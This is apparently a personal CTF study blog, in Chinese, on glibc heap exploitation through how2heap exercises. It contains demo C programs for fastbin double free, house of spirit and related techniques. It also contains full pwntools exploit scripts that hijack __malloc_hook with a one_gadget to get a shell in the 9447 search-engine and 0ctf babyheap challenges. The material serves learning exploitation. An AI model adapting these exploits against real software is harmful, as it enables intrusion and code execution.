简记how2heap刷题
first_fit
假如我先malloc了一个比较大的堆,然后free掉,当我再申请一个小于刚刚释放的堆的时候,就会申请到刚刚free那个堆的地址。还有就是,我虽然刚刚释放了a指向的堆,但是a指针不会清零,仍然指向那个地址。这里就存在一个uaf(use_after_free)漏洞,原因是free的时候指针没有清零。
自己理解:总共分配了三次,第一次malloc得到的chunk被free掉之后并没有将第一次的指针清空,只是将空间归还。第三次malloc的时候,因为大小比第一次的小,所以将第一次free掉的空间又重新分配了回来,这样当我们输出a和c的时候,都是输出同一个地址的内容。
fastbin_dup
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}
fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
会发现再次申请的时候就把我们伪造的栈空间当malloc来申请了,这其中的要点为将stack_var = 0x20,然后将stack_var -8 的地址赋值到*d处,也就是fastbin的fd处。再次maollc到指向stack+8的堆。
9447-search-engine
https://www.freesion.com/article/7775459314/
结构体:
struct word {
word ptr //指向每个word的起始地址
word size //每个word的大小
sentence ptr //指向句子的起始地址
sentence size //每一个句子的大小
pre_word_ptr //指向上一个word struct的指针
}
每个sentence都是用链表的方式存起来的,即句子与句子之间是指针连接
上面就是word_ptr
- 输入word的大小和内容,以输入的大小为size malloc一个堆。
- 从最后一个word struct开始找起,通过每个struct的pre_word_ptr一直向前找。
- 然后这里有两个check。第一,当前的word_struct的sentence ptr指向的内容不能为空。第二,当前的word_struct中的size字段要和输入的word的size大小一致,并且通过memcmp(word_struct->word_ptr, word_ptr, size)来比较输入的word内容和当前struct的word ptr指向的内容是否一致。
- 通过这两个check之后,分别打印该word struct对应的sentence size和内容。
- 询问是否删除句子,如果删除的话,就清空该sentence中的内容,并且把该word_struct中的sentence_ptr指针free掉
注意这里free之后没有把指针设置为空,存在漏洞,之后可以通过double free来进行一个利用
#coding=utf-8
from pwn import *
DEBUG = 1
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if DEBUG:
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
def index_a_sentence(sentence):
io.recvuntil("Quit\n")
io.sendline("2")
io.recvuntil("size:")
io.sendline(str(len(sentence)))
io.recvuntil("sentence:")
io.sendline(sentence)
def seach_word(word):
io.recvuntil("Quit\n")
io.sendline("1")
io.recvuntil("size:")
io.sendline(str(len(word)))
io.recvuntil("word:")
io.sendline(word)
def leak():
unsorted_bin_sentece = "s"*0x85 + " m"
index_a_sentence(unsorted_bin_sentece)
seach_word("m")
io.recvuntil("(y/n)?")
io.sendline("y")
seach_word("\x00")
io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")
main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena_addr - 0x3c4b20
io.recvuntil("(y/n)?")
io.sendline("n")
return libc_addr, main_arena_addr
libc_addr, main_arena_addr = leak()
print("libc address: " + hex(libc_addr))
index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c
seach_word("d")
io.recvuntil("(y/n)?")
io.sendline("y") #free c
io.recvuntil("(y/n)?")
io.sendline("y") #free b
io.recvuntil("(y/n)?")
io.sendline("y") #free a
# fastbins 0x70: a->b->c
seach_word("\x00")
io.recvuntil("(y/n)?")
io.sendline("y") #free b
# fastbins 0x70: b->a->b->....
# double free 构建了循环链表
io.recvuntil("(y/n)?")
io.sendline("n")
io.recvuntil("(y/n)?")
io.sendline("n")
one_gadget_addr = libc_addr + 0xf1147
fake_chunk_addr = main_arena_addr - 51
payload = p64(fake_chunk_addr).ljust(0x60, "a")
index_a_sentence(payload) # return chunk b and edit fd
# fastbins: a->b->fake_chunk notice that fake_chunk size should fall in right fastbins index
index_a_sentence("a"*0x60) # return chunk a
index_a_sentence("a"*0x60) # return chunk b whose fd has been modified
payload = ("a"*19 + p64(one_gadget_addr)).ljust(0x60, "a")
#gdb.attach(io)
index_a_sentence(payload)
io.interactive()
0ctf 2017-babyheap
https://uaf.io/assets/0ctfbabyheap
预备知识
利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力。
保护查看
如果RELRO: Partial RELRO
, 有可能是格式化字符串。
保护全开
函数分析
解析
Leak Libc
无uaf!!!
利用double free获得指向small bin的ptr,然后利用dump打印出来
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))
def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)
def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')
#-------leak main_arena - unsorted bin attack ------
alloc(0x10)#idx0
alloc(0x10)#idx1
alloc(0x30)#idx2
alloc(0x40)#idx3
alloc(0x60)#idx4
fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1)
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了
fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)
dump(1)
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------
libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))
payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode)
alloc(1)
p.sendline('bash')
p.interactive()
我们需要在 __malloc_hook 写一个函数地址,用来getshell
0x4526a这个偏移里写的是这东西:
<do_system+1098>: mov rax,QWORD PTR [rip+0x37ec47]
<do_system+1105>: lea rdi,[rip+0x147adf]
<do_system+1112>: lea rsi,[rsp+0x30]
<do_system+1117>: mov DWORD PTR [rip+0x381219],0x0
<do_system+1127>: mov DWORD PTR [rip+0x381213],0x0
<do_system+1137>: mov rdx,QWORD PTR [rax]
<do_system+1140>: call 0x7f7f36b27770 <execve>
fastbin_dup_consolidate
先申请两个chunk,然后free掉p1,之后申请一个较大的chunk,使p1进入unsort bin然后再次free p1,这样再申请两次与p1大小相同的chunk,所申请的chunk的指针就指向同一个位置。
2016 HITCON CTF SleepyHolder
申请大小超过
top chunk size
,ptmalloc
会整合一些fastbin
中的free chunk
并入top chunk
, 如果还不够就mmap
一块新的chunk
,这个chunk
与原有的top chunk
之间采用单链表链接.
Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样
*malloc_consolidate*****的功能就是把**chunk******从**fastbin******取出,相邻的**chunk******进行合并,并且会设置下一个**chunk******的**prev_inuse******位为**0**
add(1, 'aaa') #small secret
add(2, 'bbb') #big secret
delete(1) ------------------
add(3, 'ccc') #huge secret |--------> Double Free
delete(1) ------------------
简单点来说就是free了一次chunk1,然后申请了一块很大的chunk,chunk1会被取出来然后合并掉,实际上fastbin中没有chunk,此时再free一次就构成double free了
wiki
程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。
unsafe unlink
关键是在globle chunk当中构造fake_chunk,然后完成上图的构造
house_of_spirit
通过free一块不可控内存,在进行一次malloc,使其可控
术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即
- fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
- fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
- fake chunk 的 next chunk 的大小不能小于
2 * SIZE_SZ
,同时也不能大于av->system_mem
。 - fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
首先用malloc(1)进行了初始化,然后用一个fake_chunks数组来模拟两个fake_chunk,一个位于0下标的位置,一个位于8下标的位置,1下标是第一个chunk的size,9下标是第二个chunk的size。
因为第一个chunk的大小为64字节,64位系统环境下8字节一个数字,所以从0下标开始,到8下标之前刚好64个字节,那么下一个chunk就正好连在他的后面,所以第二个chunk从8下标位置开始是prev_size,9下标是size,next size的检查要检查下一个chunk的size是否合法,所以9下标size这个值必须是合法的size值,所以给他赋值为合法值。
然后free第一个chunk,通过了检测之后下一次分配相应大小的chunk就会把这个第一个chunk分配出来了
- 記事へのリンク:https://torebtr.github.io/2021/08/25/how2heap/
- 著作権表示:このブログ内のすべての記事は、特別な記載がない限り の下のライセンスで保護されています。
GitHub IssuesGitHub Discussions